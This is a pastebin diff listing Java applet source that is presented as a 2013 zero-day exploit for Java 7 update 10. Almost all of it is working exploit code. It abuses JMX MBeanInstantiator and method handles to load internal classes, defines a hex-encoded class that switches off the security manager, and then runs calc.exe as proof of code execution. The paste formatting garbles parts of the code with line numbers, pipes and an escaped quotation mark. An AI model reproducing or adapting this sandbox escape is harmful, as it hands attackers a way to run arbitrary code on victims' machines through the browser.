SHOW:
|
|
- or go back to the newest paste.
| 1 | - | /* |
| 1 | + | /*Unchecked Source of the 0day vuln |
| 2 | pbBY: KAFEINE ON JAN 10TH, 2013 | SYNTAX: NONE | SIZE: 4.73 KB | HITS: 36 | |
| 3 | ||
| 4 | Undecrypted souce for Java EveryDay 1.7.0_10 | |
| 5 | Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0 | |
| 6 | From Russia with love. | |
| 7 | */ | |
| 8 | ||
| 9 | import java.applet.Applet; | |
| 10 | ||
| 11 | import com.sun.jmx.mbeanserver.JmxMBeanServer; | |
| 12 | ||
| 13 | import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder; | |
| 14 | ||
| 15 | import com.sun.jmx.mbeanserver.MBeanInstantiator; | |
| 16 | ||
| 17 | import java.lang.invoke.MethodHandle; | |
| 18 | ||
| 19 | import java.lang.invoke.MethodHandles; | |
| 20 | ||
| 21 | import java.lang.invoke.MethodType; | |
| 22 | ||
| 23 | import java.lang.reflect.Method; | |
| 24 | ||
| 25 | ||
| 26 | ||
| 27 | ||
| 28 | ||
| 29 | public byte[] hex2Byte(String paramString) | |
| 30 | ||
| 31 | {
| |
| 32 | ||
| 33 | byte[] arrayOfByte = new byte[paramString.length() / 2]; | |
| 34 | ||
| 35 | for (int i = 0; i < arrayOfByte.length; i++) | |
| 36 | ||
| 37 | {
| |
| 38 | ||
| 39 | arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16); | |
| 40 | ||
| 41 | } | |
| 42 | ||
| 43 | ||
| 44 | ||
| 45 | return arrayOfByte; | |
| 46 | ||
| 47 | } | |
| 48 | ||
| 49 | public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001 | |
| 50 | 00063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501 | |
| 51 | 00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578 | |
| 52 | 63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F | |
| 53 | 07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263 | |
| 54 | 6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F | |
| 55 | 457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142 | |
| 56 | 0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469 | |
| 57 | 6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F | |
| 58 | 50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445 | |
| 59 | 7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176 | |
| 60 | 612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A | |
| 61 | 6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000 | |
| 62 | 020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100 | |
| 63 | 040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600 | |
| 64 | 02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107 | |
| 65 | 0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000 | |
| 66 | 02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600 | |
| 67 | 0000020017"; | |
| 68 | public void init() | |
| 69 | {
| |
| 70 | try | |
| 71 | {
| |
| 72 | ||
| 73 | byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff); | |
| 74 | JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder(); | |
| 75 | JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
| |
| 76 | MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator(); | |
| 77 | ClassLoader a = null; | |
| 78 | Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
| |
| 79 | Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
| |
| 80 | MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); | |
| 81 | MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
| |
| 82 | MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1); | |
| 83 | MethodType localMethodType2 = MethodType.methodType(Void.TYPE); | |
| 84 | MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
| |
| 85 | Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); | |
| 86 | MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
| |
| 87 | MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3); | |
| 88 | MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class); | |
| 89 | MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
| |
| 90 | Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
| |
| 91 | MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
| |
| 92 | MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
| |
| 93 | Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte });
| |
| 94 | localClass3.newInstance(); | |
| 95 | Runtime.getRuntime().exec("calc.exe");
| |
| 96 | } | |
| 97 | catch (Throwable ex) {}
| |
| 98 | } | |
| 99 | } |
